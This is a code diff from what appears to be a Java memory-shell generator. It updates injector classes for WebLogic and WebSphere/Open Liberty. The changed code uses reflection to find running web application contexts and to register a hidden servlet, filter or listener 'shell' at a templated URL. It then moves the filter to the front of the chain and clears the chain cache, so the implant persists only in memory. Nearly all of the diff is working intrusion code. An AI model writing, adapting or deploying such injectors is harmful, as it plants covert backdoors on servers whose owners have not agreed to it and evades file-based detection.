+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -35,16 +38,21 @@ public class WebLogicServletInjector {
     }
 
     public WebLogicServletInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,6 +61,7 @@ public class WebLogicServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -73,88 +82,39 @@ public class WebLogicServletInjector {
         return c + "(" + r + ")";
     }
 
-    public static Object[] getContextsByMbean() throws Throwable {
+
+    /**
+     * weblogic.servlet.internal.WebAppServletContext
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
+     */
+    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-        theOneMethod.setAccessible(true);
-        Object serverRuntime = theOneMethod.invoke(null);
-        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-        getApplicationRuntimesMethod.setAccessible(true);
-        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
-        for (int i = 0; i < applicationRuntimeSize; i++) {
-            Object applicationRuntime = Array.get(applicationRuntimes, i);
-            try {
-                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
-                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
-                int componentRuntimeSize = Array.getLength(componentRuntimes);
-                for (int j = 0; j < componentRuntimeSize; j++) {
-                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
-                    if (webAppServletContextClass.isInstance(context)) {
-                        webappContexts.add(context);
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-
-            try {
-                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
-                for (Object componentRuntime : childrenSet) {
-                    try {
-                        Object context = getFieldValue(componentRuntime, "context");
-                        if (webAppServletContextClass.isInstance(context)) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
-                }
-            } catch (Throwable ignored) {
-            }
-        }
-        return webappContexts.toArray();
-    }
-
-    public static Object[] getContextsByThreads() throws Throwable {
-        Set<Object> webappContexts = new HashSet<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread != null) {
-                Object workEntry = getFieldValue(thread, "workEntry");
-                if (workEntry != null) {
-                    try {
-                        Object context = null;
-                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                        if (connectionHandler != null) {
-                            Object request = getFieldValue(connectionHandler, "request");
-                            if (request != null) {
-                                context = getFieldValue(request, "context");
-                            }
-                        }
-                        if (context == null) {
-                            context = getFieldValue(workEntry, "context");
-                        }
-
-                        if (context != null) {
-                            webappContexts.add(context);
-                        }
-                    } catch (Throwable ignored) {
-                    }
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+            String key = entry.getKey();
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
                 }
             }
         }
-        return webappContexts.toArray();
-    }
-
-    public static Set<Object> getContext() {
-        Set<Object> webappContexts = new HashSet<Object>();
-        try {
-            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        } catch (Throwable ignored) {
-        }
         try {
-            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            try {
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
+            if (request != null) {
+                webappContexts.add(getFieldValue(request, "context"));
+            }
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell.injector.websphere;
 
-import javax.servlet.Filter;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -8,20 +7,19 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
 /**
- * tested v7、v8
- * update  2023/07/08
- *
  * @author ReaJason
  */
 public class WebSphereFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -36,16 +34,21 @@ public class WebSphereFilterInjector {
     }
 
     public WebSphereFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -54,6 +57,7 @@ public class WebSphereFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -78,27 +82,44 @@ public class WebSphereFilterInjector {
      * com.ibm.ws.webcontainer.webapp.WebAppImpl
      * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Object context;
-        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        Object[] wsThreadLocals = (Object[]) obj;
-        for (Object wsThreadLocal : wsThreadLocals) {
-            obj = wsThreadLocal;
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] threadLocals = null;
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
             // for websphere 7.x
-            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+            if (value.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
-                        context = getFieldValue(getFieldValue(config, "context"), "context");
-                        contexts.add(context);
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
-                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
-                contexts.add(context);
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;
@@ -130,43 +151,42 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Object webAppConfiguration = getFieldValue(context, "config");
-        if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+        Object webAppConfig = getFieldValue(context, "config");
+        if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
             return;
         }
 
-        ClassLoader classLoader = context.getClass().getClassLoader();
-        Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
-        Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
-        Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
+        Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
+        Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+        Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
 
         Object filterManager = getFieldValue(context, "filterManager");
+        Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
+        setFieldValue(filterConfig, "name", getClassName());
+        Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
+        Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
+        invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+        invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
+
         try {
-            // v8
-            Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
-            // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
-            setFieldValue(context, "initialized", false);
-            Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
-            Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
-            setFieldValue(context, "initialized", true);
-
-            // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
-            invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
-
-            // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
-            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
-
+            List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+            uriFilterMappingInfos.remove(filterMapping);
+            uriFilterMappingInfos.add(0, filterMapping);
         } catch (Exception e) {
-            // v7
-            Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
-            invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
-            setFieldValue(filterConfig, "dispatchMode", new int[]{0});
-            setFieldValue(filterConfig, "name", getClassName());
-            invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
-            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+            // WebSphere7
+            List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
+            Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
+            uriFilterMappings.add(0, fmInfo);
         }
+
         // 清除缓存
-        invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
+        Object chainCache = getFieldValue(filterManager, "chainCache");
+        try {
+            invokeMethod(chainCache, "clear", null, null);
+        } catch (Exception e) {
+            invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
+        }
     }
 
     @Override
@@ -174,6 +194,19 @@ public class WebSphereFilterInjector {
         return msg;
     }
 
+    // bypass osgi
+    public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
+        if (context.equals(Object.class)) {
+            throw new ClassNotFoundException(className);
+        }
+        ClassLoader loader = context.getClassLoader();
+        try {
+            return loader.loadClass(className);
+        } catch (ClassNotFoundException e) {
+            return loadClass(context.getSuperclass(), className);
+        }
+    }
+
     @SuppressWarnings("all")
     public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
             Exception {
@@ -253,13 +286,9 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
-            Field field = getField(obj, name);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -7,7 +7,9 @@ import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -15,7 +17,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class WebSphereListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,16 +29,21 @@ public class WebSphereListenerInjector {
     }
 
     public WebSphereListenerInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -44,6 +52,7 @@ public class WebSphereListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -64,27 +73,44 @@ public class WebSphereListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Object context;
-        Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        Object[] wsThreadLocals = (Object[]) obj;
-        for (Object wsThreadLocal : wsThreadLocals) {
-            obj = wsThreadLocal;
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] threadLocals = null;
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
             // for websphere 7.x
-            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(obj, "stack");
+            if (value.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
-                        context = getFieldValue(getFieldValue(config, "context"), "context");
-                        contexts.add(context);
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
-                context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
-                contexts.add(context);
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;